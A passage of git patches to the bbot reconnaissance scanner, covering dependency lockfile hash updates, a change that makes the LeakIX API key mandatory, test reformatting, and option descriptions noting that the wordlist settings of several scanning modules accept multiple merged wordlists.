"sha256:46421e8d893c39c82a66655da771e17c42af7348e2953638acf49c281e70567d", size = 4757221, upload-time = "2026-05-20T18:36:04.819Z" }, + { url = "https://files.pythonhosted.org/packages/56/ed/e290c87746469e13206356050b3a4f20400750e9c6336424ba8ffda253a9/blasthttp-0.7.0-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:94e69364bb72e0e2610c44b8778c5f163c4b217767b0aa3a3214e1ebd9ba60f3", size = 4760931, upload-time = "2026-05-20T18:34:31.415Z" }, + { url = "https://files.pythonhosted.org/packages/36/4f/b70f30f1f5836f29db4b0c7cbb612cfc1088c7b23b03cb684715e5625ce5/blasthttp-0.7.0-cp313-cp313-manylinux_2_28_armv7l.whl", hash = "sha256:deea73887814bd8f49a172c08cfb5a06c37fbc3bd109012fc108c27b73be3330", size = 4075671, upload-time = "2026-05-20T18:34:41.753Z" }, + { url = "https://files.pythonhosted.org/packages/43/f2/fe53ddb168926c0a00d611fe520a938c7e283d37379e0a7cc49970f85334/blasthttp-0.7.0-cp313-cp313-manylinux_2_28_i686.whl", hash = "sha256:408c3f9494faf52483b6dcc02207525a1da374ba5af52f04708120661316a42f", size = 4670579, upload-time = "2026-05-20T18:35:12.903Z" }, + { url = "https://files.pythonhosted.org/packages/16/d5/e625c19bcd578da86cb72b89a4a171e2acef6934081ffe738be1a344bdb8/blasthttp-0.7.0-cp313-cp313-manylinux_2_28_ppc64le.whl", hash = "sha256:e65cecd6860b7e8df7866df4cb243066a00a500922c1b57ec8f6dc6d7f154285", size = 4669304, upload-time = "2026-05-20T18:34:52.699Z" }, + { url = "https://files.pythonhosted.org/packages/ef/1f/ef912ac20521633f7e74725d50c9766d97565aacd93f858ac073d021246f/blasthttp-0.7.0-cp313-cp313-manylinux_2_28_s390x.whl", hash = "sha256:358f086e854ed08889c45a9604a601d979cd314110c0a99f290adb10e2ad9e11", size = 4281556, upload-time = "2026-05-20T18:35:02.567Z" }, + { url = "https://files.pythonhosted.org/packages/da/a7/6367c74d2bf57ee1ffccc0e8be5ee2f5b1421411f2bf66e299c8babb2ee4/blasthttp-0.7.0-cp313-cp313-manylinux_2_28_x86_64.whl", hash = "sha256:ff62f8a8e982b35df4d02e58272536072e7b3a5772f3b23a01d30bd37498b8d9", size = 4414200, upload-time = "2026-05-20T18:35:23.555Z" }, + { url = "https://files.pythonhosted.org/packages/1b/ea/ee03d66ad16f32b57e04b6d8dfeffdc3ccdf5b66810a0d1d0db3471816dc/blasthttp-0.7.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:41672388aedce57710af16cbc139f312e757484ee01c22a716a69dd1dd9595ac", size = 5051003, upload-time = "2026-05-20T18:35:34.665Z" }, + { url = "https://files.pythonhosted.org/packages/7e/36/bf2b29d85ab96b3c68bfa8e3b2cc840911b241ae37af51950b02a7ecf040/blasthttp-0.7.0-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:424ffc5c4b6fa59e566231bc2420b0b7235aba5294291d84cccbb38d2fa565b4", size = 4371316, upload-time = "2026-05-20T18:35:45.222Z" }, + { url = "https://files.pythonhosted.org/packages/ec/45/b00ae27498cf556cd7886f0cb20cfc49195f1c063c8e9454a9b1ed51a32a/blasthttp-0.7.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:82f7567e3c34066bcd8f545459e9872eb1eabce9f711e5d125f790239a39b7af", size = 4795946, upload-time = "2026-05-20T18:35:56.211Z" }, + { url = "https://files.pythonhosted.org/packages/43/34/248df9c95f844dd55c7484044591661139115d59abbf117b685beab43ee2/blasthttp-0.7.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:5e28c469bb08f702e00eb4d15dfa633fd71f9fe5fffd4bf425dde98b2e7aaf6e", size = 4756597, upload-time = "2026-05-20T18:36:06.895Z" }, + { url = "https://files.pythonhosted.org/packages/60/09/eb2b7464c2c7ccf212b8faa293c1b604b37d506d7c5053aa1bfae3f45932/blasthttp-0.7.0-cp314-cp314-manylinux_2_28_aarch64.whl", hash = "sha256:8c7694fbac37297e9b8a7e21116957e1e1f2381a96d4c5a662b706c1a220b019", size = 4762192, upload-time = "2026-05-20T18:34:33.295Z" }, + { url = "https://files.pythonhosted.org/packages/f2/dd/6d1c5bc73ac8a736e0250edccd12381dafc1087ef108e1b25cfc21e75240/blasthttp-0.7.0-cp314-cp314-manylinux_2_28_armv7l.whl", hash = "sha256:0ffe499838d5e83c7138401a7236a00a25fa18f0d33a6ca1351c16635c8caec0", size = 4065878, upload-time = "2026-05-20T18:34:44.105Z" }, + { url = "https://files.pythonhosted.org/packages/4a/3d/56cf3b9e106d0c80eb7a5f5a6055beaf5a7cd6823b21708147212a2f4437/blasthttp-0.7.0-cp314-cp314-manylinux_2_28_i686.whl", hash = "sha256:a3460f2500883e0fb02b5147a6ab928818407045505d6f5be539740a597723f1", size = 4669373, upload-time = "2026-05-20T18:35:14.911Z" }, + { url = "https://files.pythonhosted.org/packages/d8/ae/a44f88b3ece823ab181a0639719ce5d7220dbd39717667103f56b7b96899/blasthttp-0.7.0-cp314-cp314-manylinux_2_28_ppc64le.whl", hash = "sha256:782435946b92abad8128a28eb0c8a591b3b315e2632a193d1601a90dca9e57f8", size = 4667563, upload-time = "2026-05-20T18:34:54.855Z" }, + { url = "https://files.pythonhosted.org/packages/31/e9/898a355e8e460ff3ee81d04c9b76aeb9e499e0a4e65559a00a3b5ab6a30a/blasthttp-0.7.0-cp314-cp314-manylinux_2_28_s390x.whl", hash = "sha256:1b9aad4170a966d8a8c3d4bda124ba9641934958bc72b0dfdd577d4fe9882607", size = 4280285, upload-time = "2026-05-20T18:35:04.459Z" }, + { url = "https://files.pythonhosted.org/packages/6d/f0/78315a151e3a693e4135e7f1f5739831b44b3c4e24e37170f1555b730592/blasthttp-0.7.0-cp314-cp314-manylinux_2_28_x86_64.whl", hash = "sha256:8301f0ec2b196cdea1b20afae88d959074b7af20b6b11b01a0a14e0a06a166e3", size = 4411876, upload-time = "2026-05-20T18:35:25.723Z" }, + { url = "https://files.pythonhosted.org/packages/56/a9/1a42c1f23c32feb2c896e4cfbe3c1cf9d241f6af2a200b8bb583f1a15927/blasthttp-0.7.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:9b26718e091393152460aed81008da90a0bea99871a0b0a8d8f606b418f60982", size = 5051425, upload-time = "2026-05-20T18:35:36.709Z" }, + { url = "https://files.pythonhosted.org/packages/65/c6/9910fbfdc577dca25b88e27a720f4d72c16cb8cd1e87f93d84f014c09108/blasthttp-0.7.0-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:6494b361616152c5fb85e1cae459177845fc48c9fe86614b4067b9dba00e1fd8", size = 4369147, upload-time = "2026-05-20T18:35:47.356Z" }, + { url = "https://files.pythonhosted.org/packages/d7/76/792f32ae02d1d236d091577a525920cc63c16925a2284048a3a6e3386f2e/blasthttp-0.7.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:13ff82ec57950710f19f20c17bc904cab43343310f9a0838cbe7020ea9c9a870", size = 4795595, upload-time = "2026-05-20T18:35:58.24Z" }, + { url = "https://files.pythonhosted.org/packages/7b/9a/aa3bf2e2f7cbffe2ee7c6050e3bc26ef852b4b331673bebeec7cda9bbe73/blasthttp-0.7.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:c3c263def31fad4f907b14129e13a9e00ceb66225a1e05f8e3fd2e77b7447e57", size = 4756175, upload-time = "2026-05-20T18:36:08.954Z" }, ] [[package]] @@ -2808,27 +2808,27 @@ wheels = [ [[package]] name = "ruff" -version = "0.15.12" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/99/43/3291f1cc9106f4c63bdce7a8d0df5047fe8422a75b091c16b5e9355e0b11/ruff-0.15.12.tar.gz", hash = "sha256:ecea26adb26b4232c0c2ca19ccbc0083a68344180bba2a600605538ce51a40a6", size = 4643852, upload-time = "2026-04-24T18:17:14.305Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/c3/6e/e78ffb61d4686f3d96ba3df2c801161843746dcbcbb17a1e927d4829312b/ruff-0.15.12-py3-none-linux_armv6l.whl", hash = "sha256:f86f176e188e94d6bdbc09f09bfd9dc729059ad93d0e7390b5a73efe19f8861c", size = 10640713, upload-time = "2026-04-24T18:17:22.841Z" }, - { url = "https://files.pythonhosted.org/packages/ae/08/a317bc231fb9e7b93e4ef3089501e51922ff88d6936ce5cf870c4fe55419/ruff-0.15.12-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:e3bcd123364c3770b8e1b7baaf343cc99a35f197c5c6e8af79015c666c423a6c", size = 11069267, upload-time = "2026-04-24T18:17:30.105Z" }, - { url = "https://files.pythonhosted.org/packages/aa/a4/f828e9718d3dce1f5f11c39c4f65afd32783c8b2aebb2e3d259e492c47bd/ruff-0.15.12-py3-none-macosx_11_0_arm64.whl", hash = "sha256:fe87510d000220aa1ed530d4448a7c696a0cae1213e5ec30e5874287b66557b5", size = 10397182, upload-time = "2026-04-24T18:17:07.177Z" }, - { url = "https://files.pythonhosted.org/packages/71/e0/3310fc6d1b5e1fdea22bf3b1b807c7e187b581021b0d7d4514cccdb5fb71/ruff-0.15.12-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:84a1630093121375a3e2a95b4a6dc7b59e2b4ee76216e32d81aae550a832d002", size = 10758012, upload-time = "2026-04-24T18:16:55.759Z" }, - { url = "https://files.pythonhosted.org/packages/11/c1/a606911aee04c324ddaa883ae418f3569792fd3c4a10c50e0dd0a2311e1e/ruff-0.15.12-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:fb129f40f114f089ebe0ca56c0d251cf2061b17651d464bb6478dc01e69f11f5", size = 10447479, upload-time = "2026-04-24T18:16:51.677Z" }, - { url = "https://files.pythonhosted.org/packages/9d/68/4201e8444f0894f21ab4aeeaee68aa4f10b51613514a20d80bd628d57e88/ruff-0.15.12-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b0c862b172d695db7598426b8af465e7e9ac00a3ea2a3630ee67eb82e366aaa6", size = 11234040, upload-time = "2026-04-24T18:17:16.529Z" }, - { url = "https://files.pythonhosted.org/packages/34/ff/8a6d6cf4ccc23fd67060874e832c18919d1557a0611ebef03fdb01fff11e/ruff-0.15.12-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:2849ea9f3484c3aca43a82f484210370319e7170df4dfe4843395ddf6c57bc33", size = 12087377, upload-time = "2026-04-24T18:17:04.944Z" }, - { url = "https://files.pythonhosted.org/packages/85/f6/c669cf73f5152f623d34e69866a46d5e6185816b19fcd5b6dd8a2d299922/ruff-0.15.12-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9e77c7e51c07fe396826d5969a5b846d9cd4c402535835fb6e21ce8b28fef847", size = 11367784, upload-time = "2026-04-24T18:17:25.409Z" }, - { url = "https://files.pythonhosted.org/packages/e8/39/c61d193b8a1daaa8977f7dea9e8d8ba866e02ea7b65d32f6861693aa4c12/ruff-0.15.12-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:83b2f4f2f3b1026b5fb449b467d9264bf22067b600f7b6f41fc5958909f449d0", size = 11344088, upload-time = "2026-04-24T18:17:12.258Z" }, - { url = "https://files.pythonhosted.org/packages/c2/8d/49afab3645e31e12c590acb6d3b5b69d7aab5b81926dbaf7461f9441f37a/ruff-0.15.12-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:9ba3b8f1afd7e2e43d8943e55f249e13f9682fde09711644a6e7290eb4f3e339", size = 11271770, upload-time = "2026-04-24T18:17:02.457Z" }, - { url = "https://files.pythonhosted.org/packages/46/06/33f41fe94403e2b755481cdfb9b7ef3e4e0ed031c4581124658d935d52b4/ruff-0.15.12-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:e852ba9fdc890655e1d78f2df1499efbe0e54126bd405362154a75e2bde159c5", size = 10719355, upload-time = "2026-04-24T18:17:27.648Z" }, - { url = "https://files.pythonhosted.org/packages/0d/59/18aa4e014debbf559670e4048e39260a85c7fcee84acfd761ac01e7b8d35/ruff-0.15.12-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:dd8aed930da53780d22fc70bdf84452c843cf64f8cb4eb38984319c24c5cd5fd", size = 10462758, upload-time = "2026-04-24T18:17:32.347Z" }, - { url = "https://files.pythonhosted.org/packages/25/e7/cc9f16fd0f3b5fddcbd7ec3d6ae30c8f3fde1047f32a4093a98d633c6570/ruff-0.15.12-py3-none-musllinux_1_2_i686.whl", hash = "sha256:01da3988d225628b709493d7dc67c3b9b12c0210016b08690ef9bd27970b262b", size = 10953498, upload-time = "2026-04-24T18:17:20.674Z" }, - { url = "https://files.pythonhosted.org/packages/72/7a/a9ba7f98c7a575978698f4230c5e8cc54bbc761af34f560818f933dafa0c/ruff-0.15.12-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:9cae0f92bd5700d1213188b31cd3bdd2b315361296d10b96b8e2337d3d11f53e", size = 11447765, upload-time = "2026-04-24T18:17:09.755Z" }, - { url = "https://files.pythonhosted.org/packages/ea/f9/0ae446942c846b8266059ad8a30702a35afae55f5cdc54c5adf8d7afdc27/ruff-0.15.12-py3-none-win32.whl", hash = "sha256:d0185894e038d7043ba8fd6aee7499ece6462dc0ea9f1e260c7451807c714c20", size = 10657277, upload-time = "2026-04-24T18:17:18.591Z" }, - { url = "https://files.pythonhosted.org/packages/33/f1/9614e03e1cdcbf9437570b5400ced8a720b5db22b28d8e0f1bda429f660d/ruff-0.15.12-py3-none-win_amd64.whl", hash = "sha256:c87a162d61ab3adca47c03f7f717c68672edec7d1b5499e652331780fe74950d", size = 11837758, upload-time = "2026-04-24T18:17:00.113Z" }, - { url = "https://files.pythonhosted.org/packages/c0/98/6beb4b351e472e5f4c4613f7c35a5290b8be2497e183825310c4c3a3984b/ruff-0.15.12-py3-none-win_arm64.whl", hash = "sha256:a538f7a82d061cee7be55542aca1d86d1393d55d81d4fcc314370f4340930d4f", size = 11120821, upload-time = "2026-04-24T18:16:57.979Z" }, +version = "0.15.13" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/24/21/a7d5c126d5b557715ef81098f3db2fe20f622a039ff2e626af28d674ab80/ruff-0.15.13.tar.gz", hash = "sha256:f9d89f17f7ba7fb2ed42921f0df75da797a9a5d71bc39049e2c687cf2baf44b7", size = 4678180, upload-time = "2026-05-14T13:44:37.869Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c6/61/11d458dc6ac22504fd8e237b29dfd40504c7fbbcc8930402cfe51a8e63ed/ruff-0.15.13-py3-none-linux_armv6l.whl", hash = "sha256:444b580fc72fd6887e650acd3e575e18cdc79dbcf42fb4030b491057921f61f8", size = 10738279, upload-time = "2026-05-14T13:44:18.7Z" }, + { url = "https://files.pythonhosted.org/packages/86/ca/caa871ee7be718c45256fada4e16a218ee3e33f0c4a46b729a60a24912e6/ruff-0.15.13-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:6590d009e7cb7ebf36f83dbdd44a3fa48a0994ff6f1cdc1b08006abe58f98dc7", size = 11124798, upload-time = "2026-05-14T13:44:06.427Z" }, + { url = "https://files.pythonhosted.org/packages/d3/19/43f5f2e568dddde567fc41f8471f9432c09563e19d3e617a48cfa52f8f0a/ruff-0.15.13-py3-none-macosx_11_0_arm64.whl", hash = "sha256:1c26d2f66163deeb6e08d8b39fbbe983ce3c71cea06a6d7591cfd1421793c629", size = 10460761, upload-time = "2026-05-14T13:44:04.375Z" }, + { url = "https://files.pythonhosted.org/packages/99/df/cf938cd6de3003178f03ad7c1ea2a6c099468c03a35037985070b37e76be/ruff-0.15.13-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9dbd6f94b434f896308e4d57fb7bfde0d02b99f7a64b3bdab0fdfa6a864203a5", size = 10804451, upload-time = "2026-05-14T13:44:25.221Z" }, + { url = "https://files.pythonhosted.org/packages/c7/7d/5d0973129b154ded2225729169d7068f26b467760b146493fde138415f23/ruff-0.15.13-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:bf3259f3be4d181bda591da5db2571aed6853c6a048157756448020bc6c5cd22", size = 10534285, upload-time = "2026-05-14T13:44:08.888Z" }, + { url = "https://files.pythonhosted.org/packages/1f/e3/6b999bbc66cd51e5f073842bc2a3995e99c5e0e72e16b15e7261f7abf57a/ruff-0.15.13-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ae9c17e5eb4430c154e76abc25d79a318190f5a997f38fb6b114416c5319ffc9", size = 11312063, upload-time = "2026-05-14T13:44:11.274Z" }, + { url = "https://files.pythonhosted.org/packages/af/5a/642639e9f5db04f1e97fbd6e091c6fd20725bdf072fb114d00eefb9e6eb8/ruff-0.15.13-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:2e2e39bff6c341f4b577a21b801326fab0b11847f48fcaa83f00a113c9b3cb55", size = 12183079, upload-time = "2026-05-14T13:44:01.634Z" }, + { url = "https://files.pythonhosted.org/packages/19/4c/7585735f6b53b0f12de13618b2f7d250a844f018822efc899df2e7b8295f/ruff-0.15.13-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e8d9a8e08013542e94d3220bc5b62cc3e5ef87c5f74bff367d3fac14fab013e6", size = 11440833, upload-time = "2026-05-14T13:43:59.043Z" }, + { url = "https://files.pythonhosted.org/packages/e8/31/bf1a0803d077e679cfeee5f2f67290a0fa79c7385b5d9a8c17b9db2c48f0/ruff-0.15.13-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cc411dfebe5eebe55ce041c6ae080eb7668955e866daa2fbb16692a784f1c4ca", size = 11434486, upload-time = "2026-05-14T13:44:27.761Z" }, + { url = "https://files.pythonhosted.org/packages/e1/4e/62c9b999875d4f14db80f277c030578f5e249c9852d65b7ac7ad0b43c041/ruff-0.15.13-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:768494eb08b9cee54e2fd27969966f74db5a57f6eaa7a90fcb3306af34dfc4bd", size = 11385189, upload-time = "2026-05-14T13:44:13.704Z" }, + { url = "https://files.pythonhosted.org/packages/fc/89/7e959047a104df3eb12863447c110140191fc5b6c4f379ea2e803fcdb0e4/ruff-0.15.13-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:fb75f9a3a7e42ffe117d734494e6c5e5cb3565d66e12612cb63d0e572a41a5b6", size = 10781380, upload-time = "2026-05-14T13:43:56.734Z" }, + { url = "https://files.pythonhosted.org/packages/ff/52/5fd18f3b88cab63e88aa11516b3b4e1e5f720e5c330f8dbe5c26210f41f8/ruff-0.15.13-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:8cb74dd33bb2f6613faf7fc03b660053b5ac4f80e706d5788c6335e2a8048d51", size = 10540605, upload-time = "2026-05-14T13:44:20.748Z" }, + { url = "https://files.pythonhosted.org/packages/e8/e0/9e35f338990d3e41a82875ff7053ffe97541dae81c9d02143177f381d572/ruff-0.15.13-py3-none-musllinux_1_2_i686.whl", hash = "sha256:7ef823f817fcd191dc934e984be9cf4094f808effa16f2542ad8e821ba02bbf2", size = 11036554, upload-time = "2026-05-14T13:44:16.256Z" }, + { url = "https://files.pythonhosted.org/packages/c2/13/070fb048c24080fba188f66371e2a92785be257ad02242066dc7255ac6e9/ruff-0.15.13-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:f345a13937bd7f09f6f5d19fa0721b0c103e00e7f62bc67089a8e5e037719e0b", size = 11528133, upload-time = "2026-05-14T13:44:22.808Z" }, + { url = "https://files.pythonhosted.org/packages/6b/8c/b1e1666aef7fc6555094d73ae6cd981701781ae85b97ceefc0eebd0b4668/ruff-0.15.13-py3-none-win32.whl", hash = "sha256:4044f94208b3b05ba0fc4a4abd0558cf4d6459bd18325eead7fd8cc66f909b41", size = 10721455, upload-time = "2026-05-14T13:44:35.697Z" }, + { url = "https://files.pythonhosted.org/packages/ab/a6/870a3e8a50590bb92be184ad928c2922f088b00d9dc5c5ec7b924ee08c22/ruff-0.15.13-py3-none-win_amd64.whl", hash = "sha256:7064884d442b7d477b4e7473d12da7f08851d2b1982763c5d3f388a19468a1a4", size = 11900409, upload-time = "2026-05-14T13:44:30.389Z" }, + { url = "https://files.pythonhosted.org/packages/9b/36/9c015cd052fca743dae8cb2aeb16b551444787467db42ceab0fc968865af/ruff-0.15.13-py3-none-win_arm64.whl", hash = "sha256:2471da9bd1068c8c064b5fd9c0c4b6dddffd6369cb1cd68b29993b1709ff1b21", size = 11179336, upload-time = "2026-05-14T13:44:33.026Z" }, ] [[package]] From 7e8705fec45f643a4ad631e47ab9ed61f8261e1f Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 20 May 2026 18:43:30 -0400 Subject: [PATCH 681/912] leakix: make api key mandatory; drop dead conditional in subdomainradar --- bbot/modules/leakix.py | 15 +++--------- bbot/modules/subdomainradar.py | 3 +-- .../module_tests/test_module_leakix.py | 23 ------------------- 3 files changed, 4 insertions(+), 37 deletions(-) diff --git a/bbot/modules/leakix.py b/bbot/modules/leakix.py index 099a7eee2c..bc44fc9d29 100644 --- a/bbot/modules/leakix.py +++ b/bbot/modules/leakix.py @@ -8,9 +8,8 @@ class leakix(subdomain_enum_apikey): flags = ["safe", "subdomain-enum", "passive"] class Config(BaseModuleConfig): - api_key: str = Field("", description="LeakIX API Key", sensitive=True) + api_key: str = Field("", description="LeakIX API Key", sensitive=True, mandatory=True) - # NOTE: API key is not required (but having one will get you more results) meta = { "description": "Query leakix.net for subdomains", "created_date": "2022-07-11", @@ -20,17 +19,9 @@ class Config(BaseModuleConfig): base_url = "https://leakix.net" ping_url = f"{base_url}/host/1.1.1.1" - async def setup(self): - ret = await super(subdomain_enum_apikey, self).setup() - self.api_key = self.config.get("api_key", "") - if self.api_key: - return await self.require_api_key() - return ret - def prepare_api_request(self, url, kwargs): - if self.api_key: - kwargs["headers"]["api-key"] = self.api_key - kwargs["headers"]["Accept"] = "application/json" + kwargs["headers"]["api-key"] = self.api_key + kwargs["headers"]["Accept"] = "application/json" return url, kwargs async def request_url(self, query): diff --git a/bbot/modules/subdomainradar.py b/bbot/modules/subdomainradar.py index db81a95d9b..37a981b529 100644 --- a/bbot/modules/subdomainradar.py +++ b/bbot/modules/subdomainradar.py @@ -75,8 +75,7 @@ async def setup(self): return True def prepare_api_request(self, url, kwargs): - if self.api_key: - kwargs["headers"] = {"Authorization": f"Bearer {self.api_key}"} + kwargs["headers"] = {"Authorization": f"Bearer {self.api_key}"} return url, kwargs async def handle_event(self, event): diff --git a/bbot/test/test_step_2/module_tests/test_module_leakix.py b/bbot/test/test_step_2/module_tests/test_module_leakix.py index e363b6a9fe..a33b2575ce 100644 --- a/bbot/test/test_step_2/module_tests/test_module_leakix.py +++ b/bbot/test/test_step_2/module_tests/test_module_leakix.py @@ -24,26 +24,3 @@ async def setup_before_prep(self, module_test): def check(self, module_test, events): assert any(e.data == "asdf.blacklanternsecurity.com" for e in events), "Failed to detect subdomain" - - -class TestLeakIX_NoAPIKey(ModuleTestBase): - modules_overrides = ["leakix"] - - async def setup_before_prep(self, module_test): - module_test.blasthttp_mock.add_response( - url="https://leakix.net/host/1.1.1.1", - json={"title": "Not Found", "description": "Host not found"}, - ) - module_test.blasthttp_mock.add_response( - url="https://leakix.net/api/subdomains/blacklanternsecurity.com", - json=[ - { - "subdomain": "asdf.blacklanternsecurity.com", - "distinct_ips": 3, - "last_seen": "2023-04-02T09:38:30.02Z", - }, - ], - ) - - def check(self, module_test, events): - assert any(e.data == "asdf.blacklanternsecurity.com" for e in events), "Failed to detect subdomain" From 0c98ba87ff9a7bbe01c0faae926a1ecec8611718 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 20 May 2026 20:37:03 -0400 Subject: [PATCH 682/912] ruff format --- .../module_tests/test_module_dnsbrute.py | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_dnsbrute.py b/bbot/test/test_step_2/module_tests/test_module_dnsbrute.py index b15a57b2e3..e2e9cc01de 100644 --- a/bbot/test/test_step_2/module_tests/test_module_dnsbrute.py +++ b/bbot/test/test_step_2/module_tests/test_module_dnsbrute.py @@ -128,13 +128,13 @@ async def new_run_live(*command, check=False, text=True, **kwargs): def check(self, module_test, events): # "shared" appears in both wordlists - merged set should deduplicate it - assert ( - module_test.module.wordlist_size == 3 - ), f"Expected 3 unique words from 2 overlapping wordlists, got {module_test.module.wordlist_size}" + assert module_test.module.wordlist_size == 3, ( + f"Expected 3 unique words from 2 overlapping wordlists, got {module_test.module.wordlist_size}" + ) assert module_test.module.subdomain_list == {"www", "asdf", "shared"} - assert any( - e.data == "asdf.blacklanternsecurity.com" and str(e.module) == "dnsbrute" for e in events - ), "Expected asdf.blacklanternsecurity.com from second wordlist" + assert any(e.data == "asdf.blacklanternsecurity.com" and str(e.module) == "dnsbrute" for e in events), ( + "Expected asdf.blacklanternsecurity.com from second wordlist" + ) class TestDnsbruteCanaryCheck(ModuleTestBase): @@ -181,6 +181,6 @@ async def new_run_live(*command, check=False, text=True, **kwargs): def check(self, module_test, events): # canary check should have aborted, so no DNS_NAME events from dnsbrute dnsbrute_events = [e for e in events if e.type == "DNS_NAME" and str(e.module) == "dnsbrute"] - assert ( - len(dnsbrute_events) == 0 - ), f"Expected no results from dnsbrute (canary check should abort), but got {len(dnsbrute_events)}: {[e.data for e in dnsbrute_events]}" + assert len(dnsbrute_events) == 0, ( + f"Expected no results from dnsbrute (canary check should abort), but got {len(dnsbrute_events)}: {[e.data for e in dnsbrute_events]}" + ) From 376d508fd0ea78e795c3d0815c881e838563a173 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 20 May 2026 20:43:01 -0400 Subject: [PATCH 683/912] Document multi-wordlist support in other wordlist-using modules --- bbot/modules/legba.py | 1 + bbot/modules/medusa.py | 2 +- bbot/modules/paramminer_cookies.py | 2 +- bbot/modules/paramminer_getparams.py | 2 +- bbot/modules/paramminer_headers.py | 2 +- bbot/modules/webbrute.py | 2 +- bbot/modules/webbrute_shortnames.py | 2 +- 7 files changed, 7 insertions(+), 6 deletions(-) diff --git a/bbot/modules/legba.py b/bbot/modules/legba.py index 27b8a6b4bd..17bb9a4c28 100644 --- a/bbot/modules/legba.py +++ b/bbot/modules/legba.py @@ -41,6 +41,7 @@ class legba(BaseModule): "version": "1.1.1", } + # All *_wordlist options also accept a list of URLs/paths to merge multiple wordlists (duplicates are removed). options_desc = { "ssh_wordlist": "Wordlist URL for SSH combined username:password wordlist, newline separated", "ftp_wordlist": "Wordlist URL for FTP combined username:password wordlist, newline separated", diff --git a/bbot/modules/medusa.py b/bbot/modules/medusa.py index a3f8cebd85..d8a4c013c4 100644 --- a/bbot/modules/medusa.py +++ b/bbot/modules/medusa.py @@ -23,7 +23,7 @@ class medusa(BaseModule): } options_desc = { - "snmp_wordlist": "Wordlist url for SNMP community strings, newline separated (default https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/SNMP/snmp.txt)", + "snmp_wordlist": "Wordlist url for SNMP community strings, newline separated (default https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/SNMP/snmp.txt). Accepts a list of URLs/paths to merge multiple wordlists (duplicates are removed).", "snmp_versions": "List of SNMP versions to attempt against the SNMP server (default ['1', '2C'])", "wait_microseconds": "Wait time after every SNMP request in microseconds (default 200)", "timeout_s": "Wait time for the SNMP response(s) once at the end of all attempts (default 5)", diff --git a/bbot/modules/paramminer_cookies.py b/bbot/modules/paramminer_cookies.py index 32d89be37c..6c86859169 100644 --- a/bbot/modules/paramminer_cookies.py +++ b/bbot/modules/paramminer_cookies.py @@ -20,7 +20,7 @@ class paramminer_cookies(paramminer_headers): "skip_boring_words": True, } options_desc = { - "wordlist": "Define the wordlist to be used to derive cookies", + "wordlist": "Define the wordlist to be used to derive cookies. Accepts a list of URLs/paths to merge multiple wordlists (duplicates are removed).", "recycle_words": "Attempt to use words found during the scan on all other endpoints", "skip_boring_words": "Remove commonly uninteresting words from the wordlist", } diff --git a/bbot/modules/paramminer_getparams.py b/bbot/modules/paramminer_getparams.py index 51ba3e098a..46783ab08c 100644 --- a/bbot/modules/paramminer_getparams.py +++ b/bbot/modules/paramminer_getparams.py @@ -27,7 +27,7 @@ class paramminer_getparams(paramminer_headers): "brute_short": False, } options_desc = { - "wordlist": "Define the wordlist to be used to derive headers", + "wordlist": "Define the wordlist to be used to derive headers. Accepts a list of URLs/paths to merge multiple wordlists (duplicates are removed).", "recycle_words": "Attempt to use words found during the scan on all other endpoints", "skip_boring_words": "Remove commonly uninteresting words from the wordlist", "mutate_case": ( diff --git a/bbot/modules/paramminer_headers.py b/bbot/modules/paramminer_headers.py index da6a195854..d80d8aab51 100644 --- a/bbot/modules/paramminer_headers.py +++ b/bbot/modules/paramminer_headers.py @@ -45,7 +45,7 @@ class paramminer_headers(BaseModule): "skip_boring_words": True, } options_desc = { - "wordlist": "Define the wordlist to be used to derive headers", + "wordlist": "Define the wordlist to be used to derive headers. Accepts a list of URLs/paths to merge multiple wordlists (duplicates are removed).", "recycle_words": "Attempt to use words found during the scan on all other endpoints", "skip_boring_words": "Remove commonly uninteresting words from the wordlist", } diff --git a/bbot/modules/webbrute.py b/bbot/modules/webbrute.py index 5b0524da0a..90dfa87da0 100644 --- a/bbot/modules/webbrute.py +++ b/bbot/modules/webbrute.py @@ -28,7 +28,7 @@ class 